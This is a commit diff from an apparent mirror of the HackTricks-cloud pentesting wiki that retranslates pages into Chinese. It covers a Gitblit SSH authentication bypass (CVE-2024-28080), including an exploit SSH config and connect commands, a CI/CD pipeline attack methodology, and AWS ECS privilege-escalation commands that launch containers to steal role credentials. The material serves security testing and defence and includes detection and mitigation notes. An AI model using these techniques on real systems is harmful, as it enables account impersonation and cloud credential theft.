mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-ci-cd/gitblit-security/README.md', 'src/
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## 什么是 Gitblit
|
||||
|
||||
Gitblit 是用 Java 编写的自托管 Git 服务器。它可以作为独立的 JAR 运行或部署在 servlet 容器中，并内置了一个用于 Git over SSH 的 SSH 服务（Apache MINA SSHD）。
|
||||
Gitblit 是一个用 Java 编写的自托管 Git 服务器。它可以作为独立的 JAR 运行或在 servlet 容器中部署，并提供一个嵌入式 SSH 服务 (Apache MINA SSHD) 用于 Git over SSH。
|
||||
|
||||
## 主题
|
||||
|
||||
@@ -14,7 +14,7 @@ Gitblit 是用 Java 编写的自托管 Git 服务器。它可以作为独立的
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
|
||||
@@ -2,36 +2,36 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 摘要
|
||||
## Summary
|
||||
|
||||
CVE-2024-28080 是 Gitblit 嵌入式 SSH 服务中的一个认证绕过漏洞，原因是在与 Apache MINA SSHD 集成时对会话状态处理不当。如果用户账户至少注册了一个 SSH 公钥，攻击者只要知道用户名和该用户的任意公钥，就可以在无需私钥和密码的情况下进行认证。
|
||||
CVE-2024-28080 是 Gitblit 嵌入式 SSH 服务中的一个认证绕过漏洞，原因是在与 Apache MINA SSHD 集成时会话状态处理不正确。如果一个用户账户至少注册了一个 SSH 公钥，攻击者只要知道该用户名和任意一个该用户的公钥，就可以在不拥有私钥且不输入密码的情况下完成认证。
|
||||
|
||||
- 受影响：Gitblit < 1.10.0（在 1.9.3 上观察到）
|
||||
- 已修复：1.10.0
|
||||
- 利用条件：
|
||||
- 实例上启用了 Git over SSH
|
||||
- 受害账户在 Gitblit 中至少注册了一个 SSH 公钥
|
||||
- 攻击者知道受害者的用户名和其中一个公钥（通常可发现，例如 https://github.com/<username>.keys）
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- 受害账号在 Gitblit 中至少注册了一个 SSH 公钥
|
||||
- 攻击者知道受害者用户名和他们的某个公钥（通常可发现，例如 https://github.com/<username>.keys）
|
||||
|
||||
## 根本原因（SSH 方法之间的状态 leaks）
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
在 RFC 4252 中，public‑key authentication 分为两个阶段：服务器首先检查提供的公钥是否对该用户名可接受，只有在 challenge/response 与签名之后才真正认证用户。在 MINA SSHD 中，PublickeyAuthenticator 会被调用两次：在 key acceptance（尚无签名）时，以及在客户端返回签名之后。
|
||||
在 RFC 4252 中，public‑key authentication 分为两个阶段：服务器先检查提供的公钥是否对某个用户名可接受，只有在挑战/响应带有签名之后才真正认证该用户。在 MINA SSHD 中，PublickeyAuthenticator 会被调用两次：在 key acceptance（尚无签名）时以及在客户端返回签名之后。
|
||||
|
||||
Gitblit 的 PublickeyAuthenticator 在第一次（前签名）调用时修改了会话上下文：将已识别的 UserModel 绑定到会话并返回 true（"key acceptable"）。当认证随后回退到密码时，PasswordAuthenticator 信任该已被修改的会话状态并直接短路，返回 true 而不验证密码。因此，在同一用户之前发生了公钥 "acceptance" 之后，任意密码（包括空密码）都会被接受。
|
||||
Gitblit 的 PublickeyAuthenticator 在第一次（签名前）的调用中会修改会话上下文，通过将已认证的 UserModel 绑定到会话并返回 true（“key acceptable”）。当认证之后回退到密码时，PasswordAuthenticator 信任该被修改的会话状态并短路，返回 true 而不验证密码。因此，在先前对同一用户发生过 public‑key “acceptance” 后，任何密码（包括空密码）都会被接受。
|
||||
|
||||
高层次的错误流程：
|
||||
High‑level flawed flow:
|
||||
|
||||
1) 客户端提供用户名 + 公钥（尚无签名）
|
||||
2) 服务器识别该密钥属于该用户并过早将用户附加到会话，返回 true（"acceptable"）
|
||||
3) 客户端无法签名（没有私钥），因此认证回退到密码
|
||||
4) 密码认证看到会话中已存在用户并无条件返回成功
|
||||
1) 客户端提供 username + public key（尚无签名）
|
||||
2) 服务器识别该 key 属于该用户并过早地将用户附加到会话，返回 true（“acceptable”）
|
||||
3) 客户端无法签名（无私钥），于是认证回退到密码
|
||||
4) Password auth 看到会话中已有用户并无条件返回成功
|
||||
|
||||
## 逐步利用
|
||||
## Step‑by‑step exploitation
|
||||
|
||||
- 收集受害者的用户名和其中一个公钥：
|
||||
- 收集受害者的用户名和他们的某个公钥：
|
||||
- GitHub 在 https://github.com/<username>.keys 暴露公钥
|
||||
- 公开服务器通常会暴露 authorized_keys
|
||||
- 配置 OpenSSH 仅提供公钥部分以使签名生成失败，从而强制回退到密码，同时仍触发服务器上的公钥接受路径。
|
||||
- 公共服务器通常会暴露 authorized_keys
|
||||
- 配置 OpenSSH 仅呈现公钥部分以使签名生成失败，强制回退到密码，同时仍触发服务器上的 public‑key acceptance 路径。
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
```sshconfig
|
||||
@@ -44,7 +44,7 @@ PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
连接并在密码提示符处按回车（或输入任意字符串）：
|
||||
连接并在密码提示时按 Enter（或输入任意字符串）：
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
@@ -52,32 +52,32 @@ GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<ho
|
||||
```
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
|
||||
Note: 如果在你的 SSH 配置中启用了 ControlMaster multiplexing，后续的 Git 命令可能会重用已认证的连接，从而增加影响范围。
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
- 完全冒充任何至少注册了一个 SSH public‑key 的 Gitblit 用户
|
||||
- 根据受害者权限对仓库的读/写访问（可能导致 source exfiltration、未经授权的 pushes、supply‑chain 风险）
|
||||
- 如果针对管理员用户，可能产生管理权限影响
|
||||
- 纯网络漏洞利用；无需暴力破解或私钥
|
||||
|
||||
## Detection ideas
|
||||
|
||||
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
|
||||
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
|
||||
- 检查 SSH 日志，查找序列：publickey 尝试之后，紧接着以空或非常短的 password 成功通过认证
|
||||
- 查找流程：publickey method 提供不受支持/不匹配的 key material，随后针对同一用户名立即出现 password 成功
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
- 升级到 Gitblit v1.10.0+
|
||||
- 在升级之前：
|
||||
- 禁用 Gitblit 上的 Git over SSH，或
|
||||
- 限制对 SSH 服务的网络访问，并
|
||||
- 监控上述所述的可疑模式
|
||||
- 如果怀疑被入侵，请轮换受影响用户的凭证
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Pattern: 如果服务器的 public‑key authenticator 在 pre‑signature "key acceptable" 阶段修改了用户/会话状态，而其他 authenticators（例如 password）信任该状态，那么可以通过以下方式绕过认证：
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD 方法论
|
||||
# Pentesting CI/CD Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS 代表 **Version Control System**，该系统允许开发者**管理他们的源代码**。最常见的是 **git**，你通常会在以下 **platforms** 之一看到公司使用它：
|
||||
VCS stands for **Version Control System**, 该系统允许开发者去**manage their source code**。最常见的是 **git**，通常公司会在以下这些**platforms**之一使用它：
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,86 +18,86 @@ VCS 代表 **Version Control System**，该系统允许开发者**管理他们
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines 使开发者能够**自动执行代码**用于各种目的，包括构建、测试和部署应用。这些自动化工作流会由特定操作触发，例如 code pushes、pull requests 或定时任务。它们有助于简化从开发到生产的流程。
|
||||
CI/CD pipelines 使开发者能够**automate the execution of code**，用于多种用途，包括构建、测试和部署应用程序。这些自动化工作流会被**specific actions**触发，例如 code pushes、pull requests 或定时任务。它们有助于简化从开发到生产的流程。
|
||||
|
||||
但是，这些系统需要在某处**被执行**，通常需要**有特权的凭证来部署代码或访问敏感信息**。
|
||||
然而，这些系统需要**在某处执行**，而且通常需要**privileged credentials to deploy code or access sensitive information**。
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> 即使某些 VCS 平台允许为本节创建 pipelines，我们这里将只分析对源码控制的潜在攻击。
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
包含项目源代码的平台承载敏感信息，人员需要非常注意在该平台中授予的权限。以下是攻击者可能滥用的一些常见问题：
|
||||
存放项目源代码的平台包含敏感信息，因此需要非常小心在该平台上授予的权限。以下是攻击者可能滥用的一些常见问题：
|
||||
|
||||
- **Leaks**: 如果你的代码在提交中包含 leaks 且攻击者能访问 repo（因为它是 public 或因为他有访问权限），他可能会发现这些 leaks。
|
||||
- **Access**: 如果攻击者能**访问 VCS 平台内的一个账号**，他可能获得**更多的可见性和权限**。
|
||||
- **Register**: 一些平台允许外部用户直接创建账户。
|
||||
- **SSO**: 某些平台不允许用户注册，但允许任何拥有有效 SSO 的人登录（例如攻击者可以用他的 github 账户进入）。
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 用户可能窃取多种令牌以某种方式访问 repo。
|
||||
- **Webhooks**: VCS 平台允许生成 webhooks。如果它们**没有用不可见的 secrets 进行保护**，**攻击者可能滥用它们**。
|
||||
- **Leaks**: 如果你的代码在 commits 中包含 leaks，并且攻击者能够访问 repo（因为它是 public 或者他已有访问权限），他就可能发现这些 leaks。
|
||||
- **Access**: 如果攻击者能**访问 VCS platform 中的账号**，他可能获得**更多的可见性和权限**。
|
||||
- **Register**: 有些平台会允许外部用户直接创建账号。
|
||||
- **SSO**: 有些平台不允许普通注册，但会允许任何拥有有效 SSO 的人访问（例如攻击者可以用他的 github 账号登录）。
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... 用户可能会被窃取各种类型的 tokens 来以某种方式访问 repo。
|
||||
- **Webhooks**: VCS platforms 允许生成 webhooks。如果它们没有用不可见的 secrets 进行保护，**attacker could abuse them**。
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** 如果恶意行为者对 repo 有某种**写入**权限，他可以尝试**注入恶意代码**。为成功，他可能需要**绕过分支保护**。这些操作可能有多种目的：
|
||||
- 危害主分支以**危害 production**。
|
||||
- 危害主分支（或其他分支）以**危害开发者的机器**（因为他们通常会在自己的机器上执行测试、terraform 或 repo 内的其他内容）。
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- **Code compromise:** 如果恶意行为者对 repos 有某种**write** 权限，他可能尝试**inject malicious code**。为成功，他可能需要**bypass branch protections**。这些操作可以出于不同目的：
|
||||
- 妥协 main branch 以**compromise production**。
|
||||
- 妥协 main（或其他 branches）以**compromise developers machines**（因为开发者通常会在他们的机器上执行 test、terraform 或其它 repo 内的东西）。
|
||||
- **Compromise the pipeline**（见下一节）
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
定义 pipeline 最常见的方式是使用**托管在仓库中的 CI 配置文件**来描述要执行的作业顺序、影响流程的条件以及构建环境设置。\
|
||||
这些文件通常有一致的名称和格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位于 .github/workflows 下的 GitHub Actions YAML 文件。触发时，pipeline job 会**从选定的源拉取代码**（例如 commit / branch），并**对该代码运行 CI 配置文件中指定的命令**。
|
||||
定义 pipeline 最常见的方式是使用**存放在仓库内的 CI configuration file**。该文件描述了执行作业的顺序、影响流程的条件以及构建环境设置。\
|
||||
这些文件通常有一致的名称和格式，例如 — Jenkinsfile (Jenkins)、.gitlab-ci.yml (GitLab)、.circleci/config.yml (CircleCI)，以及位于 .github/workflows 的 GitHub Actions YAML 文件。被触发时，pipeline job 会**pulls the code** 从所选的 source（例如 commit / branch），并对该代码**runs the commands specified in the CI configuration file**。
|
||||
|
||||
因此，攻击者的最终目标是以某种方式**妥协这些配置文件**或**它们执行的命令**。
|
||||
因此攻击者的最终目标是以某种方式**compromise those configuration files** 或者**compromise the commands they execute**。
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。具有必要权限的用户可以修改将被 pipeline job 执行的 CI 配置文件或 pipeline 使用的其他文件来包含恶意命令。这会“poison” CI pipeline，导致执行这些恶意命令。
|
||||
Poisoned Pipeline Execution (PPE) 路径利用 SCM 仓库中的权限来操纵 CI pipeline 并执行有害命令。拥有必要权限的用户可以修改 CI configuration files 或 pipeline job 所使用的其他文件以加入恶意命令。这会“poison” CI pipeline，导致这些恶意命令被执行。
|
||||
|
||||
为了成功执行 PPE 攻击，恶意行为者需要能够：
|
||||
要成功实施 PPE 攻击，恶意行为者需要能够：
|
||||
|
||||
- 拥有 **write access to the VCS platform**，因为通常 pipeline 在 push 或 pull request 时被触发。（有关获取访问的方式，请查看 VCS pentesting methodology 的总结）。
|
||||
- 注意有时一个 **external PR** 也算作“write access”。
|
||||
- 即使拥有写权限，他还需要确保能**修改 CI config 文件或配置所依赖的其他文件**。
|
||||
- 为此，他可能需要能够**绕过分支保护**。
|
||||
- 拥有 **write access to the VCS platform**，因为 pipeline 通常在 push 或 pull request 时被触发。（查看 VCS pentesting methodology 以获取获取访问权限方式的汇总）。
|
||||
- 注意有时一个**external PR 就算作 “write access”**。
|
||||
- 即使拥有 write 权限，他也要确保能**modify the CI config file 或其它 CI 配置依赖的文件**。
|
||||
- 为此，他可能需要能够**bypass branch protections**。
|
||||
|
||||
PPE 有 3 种变体：
|
||||
|
||||
- **D-PPE**: **Direct PPE** 发生在攻击者直接**修改将被执行的 CI config** 文件时。
|
||||
- **I-DDE**: **Indirect PPE** 发生在攻击者**修改** CI config 依赖的**文件**（例如 make file 或 terraform 配置）时。
|
||||
- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有 repo 写入权限的用户触发**（他们甚至可能不属于 org），因为他们可以发送 PR。
|
||||
- **3PE Command Injection**: 通常，CI/CD pipelines 会通过**环境变量**设置关于 PR 的信息。如果该值可以被攻击者控制（例如 PR 的 title）并且被**用于危险的位置**（比如执行 **sh commands**），攻击者可能会在其中**注入命令**。
|
||||
- **I-DDE**: **Indirect PPE** 发生在攻击者**修改** CI config 所**依赖的文件**（例如 make file 或 terraform config）时。
|
||||
- **Public PPE or 3PE**: 在某些情况下，pipelines 可以被**没有写权限的用户触发**（这些用户可能甚至不是 org 的成员），因为他们可以发送 PR。
|
||||
- **3PE Command Injection**: 通常，CI/CD pipelines 会用**关于 PR 的信息**来**set environment variables**。如果这些值能被攻击者控制（例如 PR 的标题），并且被**used** 在**危险位置**（比如执行 **sh commands**），攻击者可能会**inject commands**。
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
了解了三种 poison pipeline 的变体后，我们来看看攻击者在成功利用后可以获得什么：
|
||||
了解了三种 poison pipeline 的方式后，来看攻击者在成功利用后可能获得的收益：
|
||||
|
||||
- **Secrets**: 如前所述，pipelines 的 jobs 需要**权限**（检索代码、构建、部署等），这些权限通常以 **secrets** 的形式授予。这些 secrets 通常可以通过 **env variables 或系统内的文件**访问。因此攻击者会尽可能地尝试外泄尽可能多的 secrets。
|
||||
- 根据 pipeline 平台，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者无法修改 CI configuration pipeline（例如 I-PPE），他**只能外泄该 pipeline 本身拥有的 secrets**。
|
||||
- **Computation**: 代码在某处被执行，取决于执行位置，攻击者可能能够进一步 pivot。
|
||||
- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能进入**内部网络并访问更多资源**。
|
||||
- **Cloud**: 攻击者可能访问**云中其他机器**，也可能**外泄**IAM roles/service accounts **tokens**，从而在云内获得**更进一步的权限**。
|
||||
- **Platforms machine**: 有时 jobs 会在 **pipelines platform machines** 内执行，这些机器通常位于云中且**没有更多访问权限**。
|
||||
- **Select it:** 有时 **pipelines platform 会配置多台机器**，如果你能**修改 CI 配置文件**，你可以**指定要在哪台机器上运行恶意代码**。在这种情况下，攻击者可能会在每台可用机器上运行反向 shell 来尝试进一步利用。
|
||||
- **Compromise production**: 如果你在 pipeline 内并且最终版本是从中构建并部署的，你可以**危害将要在 production 中运行的代码**。
|
||||
- **Secrets**: 如前所述，pipelines 的 jobs 需要**privileges**（检出代码、构建、部署等），这些权限通常以**secrets** 的形式授予。这些 secrets 通常可以通过 **env variables** 或系统内部的文件访问。因此攻击者会尽可能地尝试 exfiltrate 尽可能多的 secrets。
|
||||
- 根据 pipeline 平台的不同，攻击者**可能需要在配置中指定 secrets**。这意味着如果攻击者无法修改 CI configuration pipeline（例如 I-PPE），他可能**只能 exfiltrate 该 pipeline 所拥有的 secrets**。
|
||||
- **Computation**: 代码在某处被执行，攻击者可能据此 pivot 到更多目标。
|
||||
- **On-Premises**: 如果 pipelines 在本地执行，攻击者可能会进入**内部网络并访问更多资源**。
|
||||
- **Cloud**: 攻击者可能访问云中的其他机器，也可能**exfiltrate** IAM roles/service accounts **tokens**，以获得云内的进一步访问权限。
|
||||
- **Platforms machine**: 有时作业会在 **pipelines platform machines** 内执行，这些机器通常位于云中且**没有更多访问**。
|
||||
- **Select it:** 有时 **pipelines platform 会配置多台机器**，如果你能**modify the CI configuration file**，你可以**指定想在哪里运行恶意代码**。在这种情况下，攻击者可能会在每台可选机器上运行 reverse shell，尝试进一步利用。
|
||||
- **Compromise production**: 如果你已经进入 pipeline，且最终版本由其构建并部署，你就可以**compromise the code that is going to end running in production**。
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于基于新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 审计你的软件供应链堆栈的安全合规性。该审计关注整个 SDLC 流程，可揭示从代码到部署阶段的风险。
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) 是一个开源工具，用于根据新的 [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) 对你的软件供应链堆栈进行安全合规性审计。审计聚焦于整个 SDLC 流程，可以揭示从 code time 到 deploy time 的风险。
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
查看这篇关于 Cider 所列 CI/CD 前 10 大风险的有趣文章: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
查看 Cider 关于前十个 CI/CD 风险的有趣文章： [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- 在每个可以本地运行的平台，你会找到如何在本地启动它的说明，这样你可以按需配置以进行测试
|
||||
- 在每个平台的本地运行版本中，你可以找到如何在本地启动以便按需配置和测试的说明
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个用于 infrastructure-as-code 的静态代码分析工具。
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** 是一个面向 infrastructure-as-code 的静态代码分析工具。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
关于 **ECS** 的更多信息在：
|
||||
更多 **有关 ECS 的信息** 在：
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
攻击者滥用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限，可以**生成一个新的 task definition**，在其中放入一个**恶意容器**来窃取元数据凭证并**运行它**。
|
||||
滥用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限的攻击者可以 **生成一个新的任务定义**，包含一个 **恶意容器** 来窃取元数据凭证并 **运行它**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
使用像 webhook.site 这样的网站创建一个 webhook
|
||||
使用像 webhook.site 这样的站点创建一个 webhook
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** 直接提权到不同的 ECS 角色。
|
||||
**Potential Impact:** 直接对不同的 ECS 角色进行 privesc。
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
具有 `iam:PassRole` 和 `ecs:RunTask` 权限的 attacker 可以启动一个新的 ECS task，并修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志，允许在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`，而无需修改 task definition。
|
||||
具有 `iam:PassRole` 和 `ecs:RunTask` 权限的攻击者可以启动一个新的 ECS 任务，并修改 **执行角色**、**任务角色** 和容器的 **命令** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志，可在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`，而无需修改任务定义。
|
||||
|
||||
为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM 角色必须在其信任策略中信任/允许被 `ecs-tasks.amazonaws.com` 扮演。
|
||||
为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM 角色的信任策略必须信任/允许 `ecs-tasks.amazonaws.com` 来假设该角色。
|
||||
|
||||
Also, the attacker needs to know:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (If no security group is specified the default one will be used)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
此外，攻击者需要知道：
|
||||
- ECS 集群名称
|
||||
- VPC 子网
|
||||
- 安全组（如果未指定安全组，将使用默认安全组）
|
||||
- Task Definition 名称和修订版本
|
||||
- 容器名称
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -107,7 +107,7 @@ aws ecs run-task \
|
||||
```
|
||||
在上面的代码片段中，攻击者只覆盖了 `taskRoleArn` 的值。然而，攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限，攻击才能发生。
|
||||
|
||||
如果攻击者可以传递的 IAM 角色具有足够的权限来拉取 ECR 镜像并启动 ECS 任务（`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`），那么攻击者可以在 `ecs run-task` 命令中将相同的 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。
|
||||
如果攻击者可以传递的 IAM 角色具有足够的权限来从 ECR 拉取镜像并启动 ECS 任务（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`），那么攻击者可以在 `ecs run-task` 命令中为 `executionRoleArn` 和 `taskRoleArn` 指定相同的 IAM 角色。
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** 直接导致任何 ECS task role 的 privesc。
|
||||
**Potential Impact:** 对任意 ECS 任务角色 (task role) 的直接权限提升。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
就像前面的示例一样，滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限的攻击者可以 **生成一个新的任务定义**，并在其中放入一个**恶意容器**来窃取元数据凭证并**运行它**。\
|
||||
但是，在这种情况下，需要有可用的容器实例来运行该恶意任务定义。
|
||||
正如前面的示例中，攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限在 ECS 中可以 **生成一个新的 task definition**，包含一个 **恶意容器** 来窃取元数据凭证并 **运行它**。\
|
||||
然而，在这种情况下，需要有可用的 container instance 来运行该恶意 task definition。
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potential Impact:** 直接对任何 ECS role 进行 privesc。
|
||||
**潜在影响：** 直接 privesc 到任何 ECS 角色。
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
就像在前面的示例一样，攻击者滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限，能够**生成新的任务定义**，包含**恶意容器**以窃取元数据凭证，并通过创建至少包含 1 个正在运行任务的新服务来**运行它**。
|
||||
就像在之前的例子中一样，攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限在 ECS 中可以 **生成一个新的任务定义**，其中包含一个 **恶意容器**，用于窃取元数据凭证，并通过 **创建一个至少运行 1 个任务的新服务来运行它。**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Potential Impact:** 直接 privesc 到 任何 ECS role。
|
||||
**可能影响：** 直接 privesc 到任何 ECS 角色。
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
实际上，仅凭这些权限就可以使用 overrides 在容器中以任意 role 执行任意命令，例如：
|
||||
实际上，仅凭这些权限就可以使用 overrides 在容器中以任意角色执行任意命令，例如：
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**潜在影响：** 直接对任何 ECS 角色 进行 privesc。
|
||||
**Potential Impact:** 直接对任意 ECS role 进行 privesc。
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
这种情况与之前的类似，但**没有** **`iam:PassRole`** 权限。\
|
||||
这仍然很有价值，因为如果你能运行任意容器，即使它没有角色，你也可以**运行特权容器以逃逸到节点**并**窃取 EC2 IAM role**以及运行在该节点上的**其他 ECS 容器的角色**。\
|
||||
